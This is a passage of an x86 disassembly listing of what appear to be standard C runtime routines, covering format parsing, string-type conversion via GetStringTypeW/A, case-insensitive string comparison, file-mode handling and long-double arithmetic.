; ---------------------------------------------------------------------------


loc_433792:				; CODE XREF: sub_4333D0+2F7j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		mov	[ebp+arg_0], eax


loc_43379B:				; CODE XREF: sub_4333D0:loc_433790j
		jmp	loc_4333D6
; ---------------------------------------------------------------------------


loc_4337A0:				; CODE XREF: sub_4333D0+80j
					; sub_4333D0+91j ...
		movsx	ecx, [ebp+var_8]
		test	ecx, ecx
		jz	short loc_4337CC
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	al, [ebp+var_8]
		push	eax
		call	sub_432C00
		add	esp, 14h
		mov	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		jmp	short loc_433847
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: sub_4333D0+3D6j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_433818
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_433818:				; CODE XREF: sub_4333D0+417j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_433847:				; CODE XREF: sub_4333D0+3FAj
		jmp	loc_4333D6
; ---------------------------------------------------------------------------


loc_43384C:				; CODE XREF: sub_4333D0+Ej
					; sub_4333D0+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4333D0	endp

; ---------------------------------------------------------------------------
off_433850	dd offset loc_4336BF	; DATA XREF: sub_4333D0+91r
		dd offset loc_4335A3
		dd offset loc_43352E
		dd offset loc_433468
		dd offset loc_4334A6
		dd offset loc_433507
		dd offset loc_433555
		dd offset loc_43357C
		dd offset loc_4335EA
		dd offset loc_4334E4
		dd offset loc_4337A0
byte_43387C	db 0			; DATA XREF: sub_4333D0+8Br
; ---------------------------------------------------------------------------
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	al, [ecx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		add	cl, [edx]
		or	cl, [edx]
		or	al, [ebx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	al, [ecx]
		or	cl, [edx]
		add	al, 0Ah
		or	cl, [edx]
		add	eax, 0A0A0A0Ah
		push	es
		or	cl, [edx]
		or	cl, [edx]
		or	al, [edi]
		or	[edx], cl
		or	cl, [edx]
		or	cl, [ecx]


loc_4338CF:				; DATA XREF: sub_4333D0+B0r
		xchg	esi, [ebx+eax*2]
		add	[ecx-68FFBCCCh], dl
		xor	al, 43h


loc_4338DA:				; DATA XREF: sub_4333D0+EEr
		add	[ebp-3AFFBCCCh], bl
		xor	al, 43h
		add	bh, cl
		xor	al, 43h
		add	ch, dl
		xor	al, 43h
		add	bl, bl
		xor	al, 43h
		add	ah, cl

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4338F0	proc near		; CODE XREF: sub_42E940+41p
					; sub_42E940+60p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		cmp	[ebp+arg_0], 1
		jnz	loc_433A59
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_90], eax
		lea	ecx, [ebp+var_8C]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_94], 80h
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_434810
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	loc_4339DF
		call	dword_4F1348	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_433960
		jmp	loc_433A3D
; ---------------------------------------------------------------------------


loc_433960:				; CODE XREF: sub_4338F0+69j
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_434810
		add	esp, 14h
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jnz	short loc_43398A
		jmp	loc_433A3D
; ---------------------------------------------------------------------------


loc_43398A:				; CODE XREF: sub_4338F0+93j
		push	58h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	edx, [ebp+var_94]
		push	edx
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4339B0
		jmp	loc_433A3D
; ---------------------------------------------------------------------------


loc_4339B0:				; CODE XREF: sub_4338F0+B9j
		mov	[ebp+var_4], 1
		push	0
		mov	eax, [ebp+var_94]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_434810
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4339DF
		jmp	short loc_433A3D
; ---------------------------------------------------------------------------


loc_4339DF:				; CODE XREF: sub_4338F0+5Aj
					; sub_4338F0+EBj
		push	63h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_418EF0
		add	esp, 10h
		mov	edx, [ebp+var_90]
		mov	[edx], eax
		mov	eax, [ebp+var_90]
		cmp	dword ptr [eax], 0
		jnz	short loc_433A09
		jmp	short loc_433A3D
; ---------------------------------------------------------------------------


loc_433A09:				; CODE XREF: sub_4338F0+115j
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_90]
		mov	ecx, [eax]
		push	ecx
		call	sub_41B1F0
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_433A36
		push	2
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_419980
		add	esp, 8


loc_433A36:				; CODE XREF: sub_4338F0+136j
		xor	eax, eax
		jmp	loc_433B76
; ---------------------------------------------------------------------------


loc_433A3D:				; CODE XREF: sub_4338F0+6Bj
					; sub_4338F0+95j ...
		cmp	[ebp+var_4], 0
		jz	short loc_433A51
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_419980
		add	esp, 8


loc_433A51:				; CODE XREF: sub_4338F0+151j
		or	eax, 0FFFFFFFFh
		jmp	loc_433B76
; ---------------------------------------------------------------------------


loc_433A59:				; CODE XREF: sub_4338F0+Dj
		cmp	[ebp+arg_0], 0
		jnz	loc_433B73
		mov	[ebp+var_A4], 4
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_9C], ecx
		push	0
		mov	edx, [ebp+var_A4]
		push	edx
		push	offset byte_4EFBFC
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_434670
		add	esp, 14h
		test	eax, eax
		jnz	short loc_433AA0
		or	eax, 0FFFFFFFFh
		jmp	loc_433B76
; ---------------------------------------------------------------------------


loc_433AA0:				; CODE XREF: sub_4338F0+1A6j
		mov	edx, [ebp+var_9C]
		mov	byte ptr [edx],	0
		mov	[ebp+var_A0], 0
		jmp	short loc_433AC4
; ---------------------------------------------------------------------------


loc_433AB5:				; CODE XREF: sub_4338F0:loc_433B6Aj
		mov	eax, [ebp+var_A0]
		add	eax, 1
		mov	[ebp+var_A0], eax


loc_433AC4:				; CODE XREF: sub_4338F0+1C3j
		cmp	[ebp+var_A0], 4
		jge	loc_433B6F
		cmp	dword_4516A8, 1
		jle	short loc_433B0B
		push	4
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4EFBFC[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_A8], eax
		jmp	short loc_433B3E
; ---------------------------------------------------------------------------


loc_433B0B:				; CODE XREF: sub_4338F0+1E8j
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4EFBFC[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		mov	ecx, off_45149C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_A8], edx


loc_433B3E:				; CODE XREF: sub_4338F0+219j
		cmp	[ebp+var_A8], 0
		jz	short loc_433B68
		mov	eax, [ebp+var_9C]
		movsx	ecx, byte ptr [eax]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_98]
		lea	eax, [ecx+edx-30h]
		mov	ecx, [ebp+var_9C]
		mov	[ecx], al
		jmp	short loc_433B6A
; ---------------------------------------------------------------------------


loc_433B68:				; CODE XREF: sub_4338F0+255j
		jmp	short loc_433B6F
; ---------------------------------------------------------------------------


loc_433B6A:				; CODE XREF: sub_4338F0+276j
		jmp	loc_433AB5
; ---------------------------------------------------------------------------


loc_433B6F:				; CODE XREF: sub_4338F0+1DBj
					; sub_4338F0:loc_433B68j
		xor	eax, eax
		jmp	short loc_433B76
; ---------------------------------------------------------------------------


loc_433B73:				; CODE XREF: sub_4338F0+16Dj
		or	eax, 0FFFFFFFFh


loc_433B76:				; CODE XREF: sub_4338F0+148j
					; sub_4338F0+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4338F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, off_4526D8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433B90	proc near		; CODE XREF: sub_42F970+216p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_438EF0
		push	offset sub_42A9E4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4EFC08, 0
		jnz	short loc_433C0E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_4382B8
		push	1
		call	dword_4F12EC	; GetStringTypeW
		test	eax, eax
		jz	short loc_433BE2
		mov	dword_4EFC08, 1
		jmp	short loc_433C0E
; ---------------------------------------------------------------------------


loc_433BE2:				; CODE XREF: sub_433B90+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_4382B4
		push	1
		push	0
		call	dword_4F12F0	; GetStringTypeA
		test	eax, eax
		jz	short loc_433C07
		mov	dword_4EFC08, 2
		jmp	short loc_433C0E
; ---------------------------------------------------------------------------


loc_433C07:				; CODE XREF: sub_433B90+69j
		xor	eax, eax
		jmp	loc_433DE9
; ---------------------------------------------------------------------------


loc_433C0E:				; CODE XREF: sub_433B90+2Dj
					; sub_433B90+50j ...
		cmp	dword_4EFC08, 1
		jnz	short loc_433C32
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F12EC	; GetStringTypeW
		jmp	loc_433DE9
; ---------------------------------------------------------------------------


loc_433C32:				; CODE XREF: sub_433B90+85j
		cmp	dword_4EFC08, 2
		jnz	loc_433DE7
		cmp	[ebp+arg_10], 0
		jnz	short loc_433C4D
		mov	eax, dword_4EF984
		mov	[ebp+arg_10], eax


loc_433C4D:				; CODE XREF: sub_433B90+B3j
		push	0
		push	0
		push	0
		push	0
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	220h
		mov	eax, [ebp+arg_10]
		push	eax
		call	dword_4F141C	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_433C7C
		xor	eax, eax
		jmp	loc_433DE9
; ---------------------------------------------------------------------------


loc_433C7C:				; CODE XREF: sub_433B90+E3j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_28]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_28]
		push	edx
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_433CCE
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_433CCE:				; CODE XREF: sub_433B90+125j
		cmp	[ebp+var_2C], 0
		jnz	short loc_433CDB
		xor	eax, eax
		jmp	loc_433DE9
; ---------------------------------------------------------------------------


loc_433CDB:				; CODE XREF: sub_433B90+142j
		push	0
		push	0
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4F141C	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_433D09
		xor	eax, eax
		jmp	loc_433DE9
; ---------------------------------------------------------------------------


loc_433D09:				; CODE XREF: sub_433B90+170j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_433D4D
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_433D4D:				; CODE XREF: sub_433B90+1A4j
		cmp	[ebp+var_24], 0
		jnz	short loc_433D5A
		xor	eax, eax
		jmp	loc_433DE9
; ---------------------------------------------------------------------------


loc_433D5A:				; CODE XREF: sub_433B90+1C1j
		cmp	[ebp+arg_14], 0
		jnz	short loc_433D69
		mov	edx, dword_4EF974
		mov	[ebp+arg_14], edx


loc_433D69:				; CODE XREF: sub_433B90+1CEj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		mov	word ptr [ecx+eax*2], 0FFFFh
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_24]
		mov	word ptr [eax+edx*2-2],	0FFFFh
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		call	dword_4F12F0	; GetStringTypeA
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2-2]
		cmp	edx, 0FFFFh
		jz	short loc_433DC8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		cmp	edx, 0FFFFh
		jz	short loc_433DCC


loc_433DC8:				; CODE XREF: sub_433B90+222j
		xor	eax, eax
		jmp	short loc_433DE9
; ---------------------------------------------------------------------------


loc_433DCC:				; CODE XREF: sub_433B90+236j
		mov	eax, [ebp+arg_8]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_41D520
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_433DE9
; ---------------------------------------------------------------------------


loc_433DE7:				; CODE XREF: sub_433B90+A9j
		xor	eax, eax


loc_433DE9:				; CODE XREF: sub_433B90+79j
					; sub_433B90+9Dj ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_433B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433E00	proc near		; CODE XREF: sub_4300F0+11Bp
					; sub_4300F0+2D4p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	loc_433EFA
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		lea	eax, dword_4EF96C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_433E71
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_433E2C:				; CODE XREF: sub_433E00+53j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_433E55
		or	al, al
		jz	short loc_433E55
		inc	esi
		inc	edi
		cmp	ah, bh
		jb	short loc_433E44
		cmp	ah, bl
		ja	short loc_433E44
		add	ah, dh


loc_433E44:				; CODE XREF: sub_433E00+3Cj
					; sub_433E00+40j
		cmp	al, bh
		jb	short loc_433E4E
		cmp	al, bl
		ja	short loc_433E4E
		add	al, dh


loc_433E4E:				; CODE XREF: sub_433E00+46j
					; sub_433E00+4Aj
		cmp	ah, al
		jnz	short loc_433E5F
		dec	ecx
		jnz	short loc_433E2C


loc_433E55:				; CODE XREF: sub_433E00+32j
					; sub_433E00+36j
		xor	ecx, ecx
		cmp	ah, al
		jz	loc_433EFA


loc_433E5F:				; CODE XREF: sub_433E00+50j
		mov	ecx, 0FFFFFFFFh
		jb	loc_433EFA
		neg	ecx
		jmp	loc_433EFA
; ---------------------------------------------------------------------------


loc_433E71:				; CODE XREF: sub_433E00+21j
		lock inc dword_4EFD48
		cmp	dword_4EFD44, 0
		jg	short loc_433E85
		push	0
		jmp	short loc_433E9E
; ---------------------------------------------------------------------------


loc_433E85:				; CODE XREF: sub_433E00+7Fj
		lock dec dword_4EFD48
		mov	ebx, ecx
		push	13h
		call	sub_41FB40
		mov	[esp+10h+var_10], 1
		mov	ecx, ebx


loc_433E9E:				; CODE XREF: sub_433E00+83j
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, edi


loc_433EA4:				; CODE XREF: sub_433E00+CDj
		mov	al, [esi]
		or	eax, eax
		mov	bl, [edi]
		jz	short loc_433ECF
		or	ebx, ebx
		jz	short loc_433ECF
		inc	esi
		inc	edi
		push	ecx
		push	eax
		push	ebx
		call	sub_41E5F0
		mov	ebx, eax
		add	esp, 4
		call	sub_41E5F0
		add	esp, 4
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_433ED5
		dec	ecx
		jnz	short loc_433EA4


loc_433ECF:				; CODE XREF: sub_433E00+AAj
					; sub_433E00+AEj
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_433EDE


loc_433ED5:				; CODE XREF: sub_433E00+CAj
		mov	ecx, 0FFFFFFFFh
		jb	short loc_433EDE
		neg	ecx


loc_433EDE:				; CODE XREF: sub_433E00+D3j
					; sub_433E00+DAj
		pop	eax
		or	eax, eax
		jnz	short loc_433EEC
		lock dec dword_4EFD48
		jmp	short loc_433EFA
; ---------------------------------------------------------------------------


loc_433EEC:				; CODE XREF: sub_433E00+E1j
		mov	ebx, ecx
		push	13h
		call	sub_41FBE0
		add	esp, 4
		mov	ecx, ebx


loc_433EFA:				; CODE XREF: sub_433E00+Bj
					; sub_433E00+59j ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_433E00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4EFD40
		jnb	short loc_433F41
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_433F51


loc_433F41:				; CODE XREF: .nsp0:00433F1Dj
		call	sub_4248A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_433F7F
; ---------------------------------------------------------------------------


loc_433F51:				; CODE XREF: .nsp0:00433F3Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_42BC50
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_433F90
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp-4]


loc_433F7F:				; CODE XREF: .nsp0:00433F4Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433F90	proc near		; CODE XREF: sub_430DB0+D4p
					; sub_430DB0+1A6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 8000h
		jnz	short loc_433FF9
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		mov	cl, [eax+edx+4]
		and	cl, 7Fh
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4EFC40[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_43404A
; ---------------------------------------------------------------------------


loc_433FF9:				; CODE XREF: sub_433F90+2Ej
		cmp	[ebp+arg_4], 4000h
		jnz	short loc_43403A
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	al, [edx+ecx+4]
		or	al, 80h
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4EFC40[ecx*4]
		mov	[ecx+edx+4], al
		jmp	short loc_43404A
; ---------------------------------------------------------------------------


loc_43403A:				; CODE XREF: sub_433F90+70j
		call	sub_4248A0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_43405B
; ---------------------------------------------------------------------------


loc_43404A:				; CODE XREF: sub_433F90+67j
					; sub_433F90+A8j
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, 8000h


loc_43405B:				; CODE XREF: sub_433F90+B8j
		mov	esp, ebp
		pop	ebp
		retn
sub_433F90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434060	proc near		; CODE XREF: sub_431E60+2B5p
					; sub_4344A0+B5p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	word ptr [ebp+var_2C], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+0Ah]
		mov	word ptr [ebp+var_18], cx
		mov	edx, [ebp+arg_4]
		mov	ax, [edx+0Ah]
		mov	word ptr [ebp+var_20], ax
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		xor	ecx, edx
		and	ecx, 8000h
		mov	word ptr [ebp+var_2C], cx
		mov	ax, word ptr [ebp+var_18]
		and	ax, 7FFFh
		mov	word ptr [ebp+var_18], ax
		mov	cx, word ptr [ebp+var_20]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_20], cx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		add	edx, eax
		mov	word ptr [ebp+var_30], dx
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jge	short loc_43411D
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jge	short loc_43411D
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		cmp	eax, 0BFFDh
		jle	short loc_434154


loc_43411D:				; CODE XREF: sub_434060+9Bj
					; sub_434060+ACj
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		jmp	loc_434499
; ---------------------------------------------------------------------------


loc_434154:				; CODE XREF: sub_434060+BBj
		mov	edx, [ebp+var_30]
		and	edx, 0FFFFh
		cmp	edx, 3FBFh
		jg	short loc_434187
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	loc_434499
; ---------------------------------------------------------------------------


loc_434187:				; CODE XREF: sub_434060+103j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		test	eax, eax
		jnz	short loc_4341CD
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	eax, 7FFFFFFFh
		test	eax, eax
		jnz	short loc_4341CD
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4341CD
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0
		jnz	short loc_4341CD
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+0Ah], 0
		jmp	loc_434499
; ---------------------------------------------------------------------------


loc_4341CD:				; CODE XREF: sub_434060+131j
					; sub_434060+14Cj ...
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFFFh
